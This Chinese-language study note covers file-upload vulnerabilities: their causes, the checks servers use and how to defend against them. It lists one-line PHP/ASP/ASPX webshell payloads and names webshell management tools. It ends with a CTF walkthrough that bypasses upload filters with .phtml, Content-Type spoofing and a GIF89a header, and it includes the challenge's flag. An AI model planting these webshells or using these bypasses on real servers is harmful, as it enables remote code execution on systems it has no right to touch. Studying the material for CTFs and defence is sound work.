檔案上傳
什麼是檔案上傳漏洞
(一) 什麼是檔案上傳
檔案上傳指的是將檔案從個人計算機(本地計算機)傳送到遠端伺服器上的功能。 很多Web應用都提供了該功能, 通常使用者會以POST請求方式把檔案內容進行上傳。
(二) 什麼是檔案上傳漏洞
只要具有檔案上傳功能的地方都有可能存在檔案上傳漏洞。
檔案上傳這個功能本身並不是漏洞, 但是如果後端對使用者上傳的檔案內容不進行校驗或者校驗不嚴格向伺服器上傳可執行的指令碼語言檔案, 獲得執行伺服器端系統命令的許可權。
漏洞產生的原因:
1. 伺服器配置不當
2. 檔案上傳限制被繞過
3. 開源編輯器的上傳漏洞
4. 檔案解析漏洞導致檔案執行
5. 過濾不嚴或被繞過
(三) 檔案上傳漏洞的危害
1. 程式碼執行: 伺服器的web容器解釋並執行了使用者上傳的指令碼
2. 域控制: 駭客用以控制flash在該域下的行為
3. 網站掛馬: 上傳檔案是病毒、木馬
4. 釣魚: 在某些版本的瀏覽器中會被作為指令碼執行, 被用於釣魚和欺詐
(四) 漏洞觸發條件
1. 上傳的檔案內容成功被伺服器解析並執行
2. 伺服器返回上傳路徑或可以透過爆破獲得檔名及路徑
(五) 檔案上傳檢測方式
1. 客戶端JavaScript檢測
2. 服務端MIME型別檢測
3. 服務端目錄路徑檢測
4. 服務端副檔名檢測
5. 服務端檔案內容檢測
常見的一句話木馬
什麼是WebShell
WebShell就是以ASP、PHP、JSP或者CGI等網頁檔案形式存在的一種命令執行環境, 也可以將其稱之為一種網頁後門。
原理: 上傳的檔案中存在控制伺服器的指令, 被解析執行, 從而達到攻擊的目的。
PHP中常見程式碼執行函式: eval(), exec(), system()等。
php馬: <?php @eval($_POST['a']);?>
script馬: <script language="php">system("");</script>
asp馬: <&eval Request("pass")%>
aspx馬: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"]);%>
常見的WebShell管理工具
中國蟻劍
哥斯拉
天蠍
冰蠍
中國菜刀
常見的檔案上傳漏洞
(一) 檔案型別檢測
HTTP請求資料包中, 會使用 "Content-Type" 來表示具體請求中的媒體型別資訊, 如果伺服器端對 "Content-Type" 進行檢測, 那麼直接把其內容修改為合法的格式即可。
常見的媒體型別及格式如下:
(二) 檔案字尾檢測
檔案字尾檢測一般分為兩種, 一個是黑白名單規定檔案字尾型別, 還一個是對檔案字尾和非法資訊比較, 去除掉黑名單中的字串後上傳檔案。
(三) 與檔案包含結合
攻擊者透過檔案包含漏洞獲取上傳路徑, 然後上傳惡意檔案實施攻擊。
檔案上傳漏洞防禦
1. 檔案上傳的目錄設定為不可執行
2. 判斷檔案型別
3. 使用隨機數改寫檔名和檔案路徑
4. 單獨設定檔案伺服器的域名
例題:[極客大挑戰 2019]Upload
點選url沒發現檔名的字尾, 首先先嚐試shell1.php,可惜顯示Not image!
嘗試修改檔案字尾名和content-type,用burpsuite抓包進行修改:
將檔名修改為.phtml是為了繞過常規的php檔案的字尾檢測(嘗試的第一步)
檔案型別修改為: image/jpg
還得知道一個知識點phtml是啥?
答:phtml一般是指嵌入了php程式碼的html檔案,但是同樣也會作為php解析
回顯得知我們之前寫的一句話木馬是包含?>,故被過濾了,我們就需要修改我們所編寫的一句話木馬,根據上述筆記可以很輕鬆的寫出來
修改前的一句話木馬:
<?php @eval($_POST['shell']);?>
我們將一句話木馬進行修改
修改後的一句話木馬:
<script language="php">eval($_REQUEST[shell])</script>
看回顯繼續一步步走下去
由於後端對於內容的檢測導致我們上傳失敗,嘗試用檔案幻術頭的方式進行繞過
GIF89a
<script language="php">eval($_REQUEST[shell])</script>
猜測路徑在/upload下
驗證正確,開啟蟻劍進行連線
在根目錄下,找到flag
flag{efb4318a-cc77-4262-9b6e-8afced6e947d}